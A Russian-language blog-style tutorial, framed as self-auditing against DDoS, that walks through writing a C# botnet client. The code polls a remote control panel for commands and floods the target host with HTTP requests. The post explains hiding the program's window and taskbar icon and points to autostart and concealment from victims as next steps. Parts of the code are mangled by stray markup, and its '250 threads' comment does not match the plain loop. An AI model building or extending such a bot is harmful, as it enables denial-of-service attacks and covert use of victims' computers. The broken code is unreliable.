Предисловие
Данный пост создан для людей, желающих провести аудит своих сайтов на ddos атаки. Можно купить ботнет, специальный софт или заказать атаку у людей. Но чаще всего это не выгодно, допустим средняя цена ботнета ~800$. Дороговато, не правдо ли?
Описание
Ботнет — это компьютерная сеть, состоящая из некоторого количества хостов, с запущенными ботами — автономным программным обеспечением. Чаще всего бот в составе ботнета является программой, скрытно устанавливаемой на устройство жертвы и позволяющей злоумышленнику выполнять некие действия с использованием ресурсов заражённого компьютера. Обычно используются для нелегальной или неодобряемой деятельности — рассылки спама, перебора паролей на удалённой системе, атак на отказ в обслуживании.
Ботнет работает по принципу подключаемся к главному компьютеру, считываем команду, выполняем. Мы не будем писать сложную зомби сеть. Напишем просто пример, который будет атаковать наш сервер. Возможно, чуть позже я создам пост о написании сложного ботнета с множеством команд и средствами скрытия от глаз жертвы. Но чуть позже, а так же напоминаю, данный топик служит лишь примером для тестирования личных серверов.
Кодинг
1) Нам нужно, чтобы наш ботнет отсылал запрос каждые 25 секунд к нам в панель управления. Создадим элемент таймер, включим его, поставим значение 25 000 (млс). Соответственно для элемента таймер пропишем выполнение функции запроса к серверу
const string panelLink = "http://site.com/panel/bot.php?q=bot"; // ССЫЛКА ДО ПАНЕЛИ
public void RequestToPanel()
{
/* ЗАПРОСЫ К ПАНЕЛИ */
System.Net.WebRequest reqGET = System.Net.WebRequest.Create(<hh user=panelLink>);
System.Net.WebResponse resp = reqGET.GetResponse();
System.IO.Stream stream = resp.GetResponseStream();
System.IO.StreamReader sr = new System.IO.StreamReader(stream);
string ServerReturn = sr.ReadToEnd();
string[] arrServerReturn = ServerReturn.Split('|'); // Разделяем строку в массив знаком |
string typeAttack = arrServerReturn[0]; // Получаем тип атаки, в нашем случае будет пока один, http
string hostAttack = arrServerReturn[1]; // Получаем хост для атаки
this.Attack(typeAttack, hostAttack); // Выполняем атаку
}
private void Attack(string type, string host)
{
if (host != null)
{
switch (type)
{
case "http":
this.httpAttack(host);
break;
}
}
}
private void httpAttack(string host)
{
while (true)
{
for (int i = 0; i < 250; i++) // Соответственно в 250 потоков
{
System.Net.WebRequest reqGET = System.Net.WebRequest.Create(<hh user=host>);
System.Net.WebResponse resp = reqGET.GetResponse();
System.IO.Stream stream = resp.GetResponseStream();
}
}
}
Так же при запуске программы сразу стоит сделать выполнение функции RequestToPanel, если мы это не сделаем, она начнёт выполняться только после интервала в таймере.
Соответственно осталось лишь скрыть окна программы, для этого в конструкторе выставим следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False
Так же стоит заметить, что это лишь программа которая запустится один раз и будет выполнять атаку, а не целый ботнет, так как стоит использовать копирование и автозапуск с системой. Я не стал этого писать, так как это лишь пример. Так же стоит отдавать пример в нашем файле, куда идёт запрос на получение команд, вида http|http://oursite.com
Просьба не пинать, так как только пример, да и мой первый кодинг на шарпе.
Спасибо за внимание!
Автор: unrealphp